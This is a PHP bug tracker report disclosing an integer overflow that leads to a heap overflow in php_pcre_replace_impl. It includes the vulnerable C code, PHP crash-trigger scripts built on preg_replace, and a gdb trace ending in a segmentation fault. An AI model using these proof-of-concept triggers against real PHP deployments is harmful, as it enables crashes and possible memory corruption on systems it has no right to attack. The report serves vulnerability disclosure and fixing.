|
php.net | support | documentation | report a bug | advanced search | search howto | statistics | random bug | login |
[2016-09-26 08:18 UTC] secresearch at fortinet dot com
Description:
------------
The heap overflow in function php_pcre_replace_impl due to integer overflow.
PHPAPI char *php_pcre_replace_impl(pcre_cache_entry *pce, char *subject, int subject_len, zval *replace_val,
int is_callable_replace, int *result_len, int limit, int *replace_count TSRMLS_DC)
{
...
if (new_len + 1 > alloc_len) {
alloc_len = 1 + alloc_len + 2 * new_len; // alloc_len = 286331206
new_buf = emalloc(alloc_len);
memcpy(new_buf, result, *result_len);
efree(result);
result = new_buf;
}
/* copy the part of the string before the match */
memcpy(&result[*result_len], piece, match-piece); // match - piece = 715827882 -> overflow
*result_len += match-piece;
...
Test script:
---------------
<?php
ini_set('memory_limit', -1);
$string = 'April 15, 2003'.str_repeat('a', 100);
$pattern = '/(\w+) (\d+), (\d+)/i';
$replacement = '${1}1,'.str_repeat('a', 0xffffffff/2-20).'$3';
$a = preg_replace($pattern, $replacement, $string);
?>
Expected result:
----------------
No crash
Actual result:
--------------
Starting program: /home/test/PHP-5.6.26/sapi/cli/php ~/phptestcase/testpreg_replace_crash.php
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/usr/lib/libthread_db.so.1".
Breakpoint 1, php_pcre_replace_impl (pce=0x15ecc50, subject=0x7fff3437a030 '1' <repeats 200 times>..., subject_len=715827898, replace_val=0x7ffff7fa1ea8, is_callable_replace=0, result_len=0x7fffffffa60c, limit=-1, replace_count=0x7fffffffa5dc) at /home/test/PHP-5.6.26/ext/pcre/php_pcre.c:1213
1213 if (new_len + 1 > alloc_len) {
(gdb) p new_len + 1
$6 = 1574821353
(gdb) p alloc_len
$7 = 1431655797
(gdb) step
1214 alloc_len = 1 + alloc_len + 2 * new_len;
(gdb)
1215 new_buf = emalloc(alloc_len);
(gdb) p alloc_len
$8 = 286331206
(gdb) c
Continuing.
Breakpoint 2, php_pcre_replace_impl (pce=0x15ecc50, subject=0x7fff3437a030 '1' <repeats 200 times>..., subject_len=715827898, replace_val=0x7ffff7fa1ea8, is_callable_replace=0, result_len=0x7fffffffa60c, limit=-1, replace_count=0x7fffffffa5dc) at /home/test/PHP-5.6.26/ext/pcre/php_pcre.c:1221
1221 memcpy(&result[*result_len], piece, match-piece);
(gdb) p match - piece
$9 = 715827882
(gdb) p piece
$10 = 0x7fff3437a030 '1' <repeats 200 times>...
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x00007ffff10a5a8b in __memmove_avx_unaligned_erms () from /usr/lib/libc.so.6
(gdb)
PatchesPull RequestsHistoryAllCommentsChangesGit/SVN commits
|
|||||||||||||||||||||||||||
Copyright © 2001-2025 The PHP GroupAll rights reserved. |
Last updated: Tue Oct 28 14:00:01 2025 UTC |
Please use this test script: --------------- <?php //crash memcpy ini_set('memory_limit', -1); $string = str_repeat('1', 0xffffffff/6).'April 15, 2003'.str_repeat('a', 2); $pattern = '/(A\w+) (\d+), (\d+)/i'; $replacement = '${1}1,'.str_repeat('a', 0xffffffff/5).'$3'; // /3 crash $a = preg_replace($pattern, $replacement, $string); ?>